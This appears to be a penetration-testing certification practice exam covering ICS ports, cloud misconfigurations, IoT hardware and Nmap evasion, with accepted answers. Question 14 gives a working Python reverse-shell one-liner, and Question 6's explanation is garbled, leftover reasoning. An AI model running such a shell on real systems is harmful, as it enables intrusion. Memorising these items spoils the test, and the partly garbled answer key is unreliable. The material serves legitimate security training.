CPENT Practice Test 2 — 30 Questions

Question 1

An ethical hacker is examining an operational technology (OT) network and needs to identify programmable logic controllers (PLCs) using their native industrial protocols. Which default TCP port should the hacker scan to discover Modbus/TCP devices?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

TCP 502. Modbus/TCP is an open protocol widely used in SCADA environments and operates natively over TCP port 502.

Answer

TCP 102

Answer

TCP 20000

Answer

UDP 44818

Question 2

An auditor is reviewing an AWS cloud environment and identifies several common misconfigurations related to identity and access management. Which TWO of the following practices represent significant security risks? (Choose TWO)

Accepted Answer

Using the AWS account root user credentials for day-to-day operational tasks.. Using root credentials for daily tasks and creating active access keys for root users violate foundational AWS security best practices.

Answer

Enabling multi-factor authentication (MFA) on all IAM users with console access.

Answer

Enabling AWS CloudTrail logging across all regions in the account.

Answer

Attaching AWS managed policies for read-only access to auditing roles.

Question 3

An auditor identifies that an organization's Azure storage account allows anonymous public read access to containers and blobs. What configuration change must be applied to remediate this finding?

Accepted Answer

Set the 'Allow Blob public access' property to Disabled on the storage account.. Disabling public blob access on the storage account blocks anonymous requests globally.

Answer

Rotate the primary storage account access key every 24 hours.

Answer

Enable Azure Defender for Storage and configure automatic threat remediation.

Answer

Apply an Azure Firewall rule blocking port 443 inbound to the storage account.

Question 4

A penetration tester is assessing an advanced hybrid cloud and Kubernetes infrastructure. Which THREE of the following scenarios represent critical architecture or configuration flaws? (Choose THREE)

Accepted Answer

Exposing the Kubernetes etcd database port (2379) directly to the public internet without mutual TLS authentication.. Shared secrets in configmaps, unauthenticated etcd, and weak webhook configurations are critical flaws.

Answer

Enabling TLS encryption for all intra-pod and kubelet communications.

Answer

Enabling Kubernetes audit logs and exporting them to a secure SIEM platform.

Answer

Using RBAC authorization mode with narrowly scoped roles for all cluster service accounts.

Question 5

A pentester is performing a security review of a smart meter that utilizes an unencrypted CoAP (Constrained Application Protocol) service running over UDP. Using Python and Scapy, the tester crafts a packet to interact with the device. Which default UDP port should the tester target for standard unencrypted CoAP communications?

Accepted Answer

UDP 5683. CoAP is designed for resource-constrained internet devices and typically operates over UDP port 5683 for unencrypted traffic and port 5684 for secure DTLS traffic.

Answer

UDP 1900

Answer

UDP 5353

Answer

UDP 5060

Question 6

During an assessment of a hybrid Active Directory environment, a penetration tester compromises an on-premises user account that is synchronized to Azure AD via Azure AD Connect. The tester notices that the on-premises account is a member of the local 'Backup Operators' group. Which hybrid attack path is most directly enabled by this configuration?

Accepted Answer

The tester can exploit local file read privileges associated with Backup Operators to access the NTDS.dit file, enabling offline hash extraction and subsequent synchronization abuse.. Members of the 'Backup Operators' group in Active Directory have local rights to read file contents, but more importantly, in hybrid environments with Azure AD Connect, accounts with specific local privileges or DCSync rights can sometimes be leveraged, or more specifically, the synchronization allows credential abuse. However, Backup Operators can read the NTDS.dit file or abuse local file access. Wait, specifically for Azure AD Connect, the service account or synchronized accounts can sometimes lead to Azure AD takeover if password hashes can be synchronized or if the Azure AD Connect server itself is compromised. Let's look at the options.

Answer

The tester can execute an Azure Seamless Single Sign-On ticket-forgery attack directly from the local workstation.

Answer

The tester can extract the plaintext credentials of the Azure AD Connect sync account stored improperly in the registry by Backup Operators.

Answer

The tester can directly use DCSync against the Azure AD Graph API to extract cloud-only administrative password hashes.

Question 7

A penetration tester is auditing an AWS environment and discovers that an IAM role used by an EC2 instance has an overly permissive trust policy allowing any principal in an external AWS account to assume it without specifying an ExternalId. What is the standard security term and remediation for this vulnerability?

Accepted Answer

Cross-account confused deputy vulnerability; remediate by adding a Condition block requiring an 'sts:ExternalId'.. Allowing external accounts to assume a role without an ExternalId leaves the configuration vulnerable to the 'Confused Deputy' problem. Remediation involves adding a condition using 'sts:ExternalId' to the trust policy.

Answer

Access Key exposure; remediate by rotating the static credentials associated with the IAM role.

Answer

Resource-based policy escalation; remediate by disabling cross-account access entirely in AWS Organizations.

Answer

IAM privilege escalation via PassRole; remediate by removing iam:PassRole permissions from the instance profile.

Question 8

A security researcher is evaluating an industrial IoT gateway running Linux. During a filesystem audit of the extracted rootfs, the researcher finds that the '/etc/shadow' file contains weak password hashes for the root user. Which utility can the researcher use offline on their host machine to attempt password cracking via dictionary attack against the extracted hash?

Accepted Answer

John the Ripper. John the Ripper and Hashcat are industry-standard password cracking tools that accept shadow file formats for offline dictionary and brute-force attacks.

Answer

Binwalk

Answer

Nmap

Answer

Tcpdump

Question 9

A security analyst is investigating an IoT incident where an attacker gained unauthorized access to an MQTT broker. The analyst wants to inspect the broker configuration file on a Debian-based Linux system running Eclipse Mosquitto to check if anonymous access was enabled. What is the default file path for the Mosquitto configuration file?

Accepted Answer

/etc/mosquitto/mosquitto.conf. Eclipse Mosquitto stores its primary configuration settings in '/etc/mosquitto/mosquitto.conf' on standard Linux installations.

Answer

/var/lib/mqtt/config.ini

Answer

/opt/broker/settings.xml

Answer

/etc/init.d/mosquitto.cfg

Question 10

A hardware penetration tester is investigating an IoT device printed circuit board (PCB) to extract sensitive firmware or debug data. Which THREE of the following physical hardware interfaces are commonly targeted by testers to gain console access or read memory? (Choose THREE)

Accepted Answer

SPI (Serial Peripheral Interface) flash memory pins. Physical hardware hacking heavily relies on serial debug interfaces like UART, JTAG for boundary-scan debugging, and SPI/I2C for flash memory extraction.

Answer

HDMI display output pins used for high-speed video graphics rendering

Answer

RJ-45 Ethernet port pin 8 carrying PoE (Power over Ethernet) voltage directly to the CPU core

Question 11

A penetration tester is operating inside a segmented corporate network and needs to scan a target subnet using TCP SYN packets while randomizing the order of scanned hosts and ports to evade intrusion detection systems. Which Nmap option implements this randomization?

Accepted Answer

--randomize-hosts. The --randomize-hosts option tells Nmap to randomize the order in which it scans hosts, helping to evade threshold-based IDS/IPS alerts.

Answer

-T0

Answer

--spoof-mac

Answer

-D

Question 12

A tester is conducting a physical security and RF assessment against a wireless building automation system operating at 433 MHz. The tester wants to capture and replay the radio frequency signal emitted by a key fob to unlock a gate. Which hardware tool is specifically designed for software-defined radio (SDR) signal capture and analysis in this frequency range?

Accepted Answer

HackRF One / RTL-SDR. HackRF One, RTL-SDR, and similar software-defined radios are used for capturing RF signals. Specifically, devices like RTL-SDR or HackRF paired with GNU Radio or Universal Radio Hacker (URH) cover the 433 MHz band.

Answer

JTAGulator

Answer

Bus Pirate

Answer

Rubber Ducky

Question 13

An engineer is conducting a security audit on a smart grid device that uses CoAP over DTLS. The engineer attempts to intercept the handshake and notices pre-shared key (PSK) cipher suites are enabled. Which OpenSSL command can the engineer use to test connecting to the DTLS service using a specific Pre-Shared Key identifier and hex-encoded key?

Accepted Answer

openssl s_client -dtls1 -psk 01020304 -psk_identity test_id -connect 192.168.1.50:5684. OpenSSL supports DTLS testing and allows specifying PSK identity and keys using parameters like '-psk' and '-psk_identity'.

Answer

ssh -p 5684 -o KexAlgorithms=psk 192.168.1.50

Answer

nc -u 192.168.1.50 5684

Answer

telnet 192.168.1.50 5684

Question 14

A penetration tester successfully compromises a Linux web server and needs to establish an encrypted interactive reverse shell back to their attacking machine, but standard netcat is not installed. Which native Python command-line snippet can be executed to spawn a bash shell back to the listener?

Accepted Answer

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' is the standard python reverse shell payload.

Answer

python -c 'import pty; pty.spawn("/bin/sh")'

Answer

python -m SimpleHTTPServer 80

Answer

python -c 'print("Hello World")'

Question 15

An IoT penetration tester is analyzing the security of a Zigbee smart lighting installation. Which TWO of the following tools or frameworks are specifically utilized when assessing 802.15.4 and Zigbee wireless security? (Choose TWO)

Accepted Answer

KillerBee (Python framework for exploiting Zigbee/IEEE 802.15.4). KillerBee and Universal Radio Hacker (URH) or Wireshark with appropriate hardware dongles (like CC2531) are standard toolsets for Zigbee and 802.15.4 assessments.

Answer

Aircrack-ng suite for cracking WPA-PSK Wi-Fi pre-shared keys

Answer

Metasploit 'msfvenom' module generating Windows Meterpreter payloads for Active Directory persistence

Answer

Burp Suite Professional for intercepting HTTP requests from web applications

Question 16

During an Azure subscription review, a security assessor checks for role-based access control and resource configuration best practices. Which TWO of the following findings represent high-severity security risks? (Choose TWO)

Accepted Answer

Assigning the Owner role to external guest users at the root management group level without justification.. Assigning Owner/Contributor at the subscription root and leaving storage account access keys unrotated are major risks.

Answer

Enabling Azure Defender for SQL on all Azure SQL databases.

Answer

Configuring Azure Monitor alerts for failed sign-in attempts.

Answer

Enabling soft-delete and purge protection on Azure Key Vaults.

Question 17

A security researcher is analyzing an embedded Linux firmware image for potential backdoors. The researcher wants to quickly scan the binary for compressed file systems, bootloader signatures, and kernel versions without extracting it. Which command-line tool is best suited for this initial identification task?

Accepted Answer

Binwalk. Binwalk is the industry-standard tool for searching binary images for embedded file systems and executable code signatures.

Answer

Wireshark

Answer

Metasploit Framework

Answer

Aircrack-ng

Question 18

An auditor reviews cloud logging and monitoring configurations across an enterprise multi-cloud environment. Which TWO of the following practices represent critical security deficiencies? (Choose TWO)

Accepted Answer

Hardcoding cloud provider API access keys directly into public application source code repositories.. Disabling audit logging and storing static administrative keys in code repositories are critical security deficiencies.

Answer

Configuring automated alerts for unusual spikes in cloud resource creation.

Answer

Using cloud-native Key Management Services with automatic key rotation enabled.

Answer

Enforcing least-privilege access principles across all IAM service accounts.

Question 19

A security analyst is performing a security assessment on a Siemens S7-1200 PLC. Using Nmap, which NSE script should the analyst run to gather detailed device information, including rack, slot, and firmware version via the S7 communication protocol?

Accepted Answer

s7-info. Nmap includes specific industrial control scripts in the 'scripts/' directory. The 's7-info' script specifically queries Siemens S7 devices to extract operational data.

Answer

modbus-discover

Answer

bacnet-info

Answer

enip-info

Question 20

An OT security engineer is conducting a vulnerability assessment on a Distributed Control System (DCS). The engineer needs to test for unauthorized firmware write capabilities on a legacy controller using the Modbus protocol. Which Modbus function code is typically associated with writing multiple holding registers, which could be abused to modify configuration parameters?

Accepted Answer

Function Code 16 (0x10) - Write Multiple Registers. Modbus function codes define the action to be performed. Function Code 16 (0x10) is 'Write Multiple Registers', frequently used to change register blocks in industrial controllers.

Answer

Function Code 01 (0x01) - Read Coils

Answer

Function Code 04 (0x04) - Read Input Registers

Answer

Function Code 02 (0x02) - Read Discrete Inputs